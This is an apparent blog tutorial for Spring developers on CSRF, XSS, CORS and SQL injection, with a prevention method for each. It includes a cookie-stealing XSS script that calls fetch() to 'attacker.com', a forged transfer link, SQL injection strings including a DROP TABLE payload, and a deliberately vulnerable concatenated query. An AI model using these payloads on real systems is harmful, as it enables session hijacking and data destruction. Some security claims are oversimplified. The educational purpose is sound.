Common Web Security Attacks Every Spring Developer Must Know

 


Common Web Security Attacks Every Spring Developer Must Know

Before diving into Spring Security, it’s important to understand the most common web application attacks. These vulnerabilities exist in almost every modern web system if not handled properly.

In this article, we’ll cover:

  • CSRF (Cross-Site Request Forgery)
  • XSS (Cross-Site Scripting)
  • CORS (Cross-Origin Resource Sharing)
  • SQL Injection

With real-world examples and how Spring-based applications protect against them.


1. CSRF – Cross-Site Request Forgery

What is CSRF?

CSRF is an attack where a user is tricked into performing an unwanted action on a website where they are already authenticated.

The browser automatically sends cookies (like JSESSIONID) with every request.
An attacker exploits this behavior.

Real-Life Scenario

  1. User logs into:
    http://bank.com
  2. Bank uses session-based authentication.
  3. Attacker sends a malicious link:
<a href="http://bank.com/transfer?to=hacker&amount=50000">
Claim My Money
</a>
  1. User clicks it while logged in.
  2. Browser sends:
Cookie: JSESSIONID=xyz123
  1. Money gets transferred without user’s consent.

Why This Works?

Because:

  • Browser trusts the domain.
  • Session cookie is attached automatically.
  • Server cannot differentiate between real and fake request.

How to Prevent CSRF?

1. CSRF Token (Most Important)

Server generates a token:

csrfToken = randomUUID()

Stored in:

  • HTTP Session
  • Hidden form field

Every request must include:

<input type="hidden" name="_csrf" value="abc123">

Server validates:

if (!requestToken.equals(sessionToken)) {
    reject();
}

2. Use SameSite Cookies

Set-Cookie: JSESSIONID=xyz; SameSite=Strict

This prevents cookies from being sent in cross-origin requests.


2. XSS – Cross-Site Scripting

What is XSS?

XSS allows attackers to inject malicious JavaScript into web pages viewed by other users.

Classic Example (Comment Box)

POST:

<script>alert("XSS Attack")</script>

Stored in DB.

Later rendered as:

<div>
<script>alert("XSS Attack")</script>
</div>

Browser executes it.


Dangerous Real Attack

<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

This sends victim’s session cookie to attacker.

Attacker now hijacks:

Cookie: JSESSIONID=abc123

Types of XSS

Type Description
Stored Saved in DB (most dangerous)
Reflected Comes from request
DOM-based Happens in browser JS

How to Prevent XSS?

1. Escape Output

Convert:

<script>

To:

&lt;script&gt;

In Spring (Thymeleaf):

<p th:text="${comment}"></p>

NOT:

<p th:utext="${comment}"></p>

2. Input Validation

Reject:

  • <script>
  • onload=
  • javascript:

3. Content Security Policy (CSP)

Content-Security-Policy: script-src 'self'

Blocks external scripts.


3. CORS – Cross-Origin Resource Sharing

Is CORS an Attack?

No. It’s a browser security feature.

It blocks frontend apps from calling APIs on different origins.


What is an Origin?

Origin =
protocol + domain + port

Client Server Same Origin?
http://localhost:3000 http://localhost:8080
https://localhost:8080 http://localhost:8080
https://api.site.com https://site.com

Without CORS Config

Browser blocks:

fetch("http://api.server.com/data")

Error:

Blocked by CORS policy

How to Enable CORS?

In Spring Boot

@CrossOrigin(origins = "http://localhost:3000")
@RestController
public class UserController {
}

Or global:

registry.addMapping("/**")
        .allowedOrigins("http://localhost:3000");

4. SQL Injection

What is SQL Injection?

User manipulates SQL queries by injecting malicious input.


Vulnerable Code

String query = "SELECT * FROM users WHERE username = '"
                + user + "' AND password = '" + pass + "'";

User enters:

' OR '1'='1

Query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1'

Returns all users.

Login bypassed.


Real Dangerous Input

'; DROP TABLE users; --

How to Prevent SQL Injection?

1. Use Prepared Statements

String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, user);
ps.setString(2, pass);

Now input is treated as data, not code.

2. Use ORM (JPA / Hibernate)

userRepo.findByUsername(username);

ORM automatically parameterizes queries.


How Spring Security Helps

Attack Spring Protection
CSRF Enabled by default
XSS Output escaping + CSP
CORS Configurable
SQL Injection ORM + JDBC

Interview Questions & Answers

Q1. Why CSRF works only in session-based systems?

Because CSRF depends on cookies automatically attached by browser.
Stateless JWT APIs are less vulnerable.


Q2. Difference between XSS and CSRF?

CSRF XSS
Forces user action Injects script
Uses victim session Steals victim data
Server side issue Client side issue

Q3. Is CORS a backend or frontend concept?

CORS is enforced by browser, but configured on server.


Q4. Why prepared statements prevent SQL Injection?

Because:

  • SQL structure is fixed
  • User input is treated as literal value
  • No query manipulation possible

Q5. Can JWT prevent CSRF?

Mostly yes, because:

  • JWT stored in localStorage
  • Not auto-attached by browser
  • But still vulnerable to XSS

Final Thoughts

Most security breaches are not advanced hacks
they are basic misconfigurations.

If you understand just these four:

  • CSRF
  • XSS
  • CORS
  • SQL Injection

You already know 80% of real-world web security.

Spring Security doesn’t make your app secure by magic.
It only works if you understand what you’re protecting against.

Leave a Reply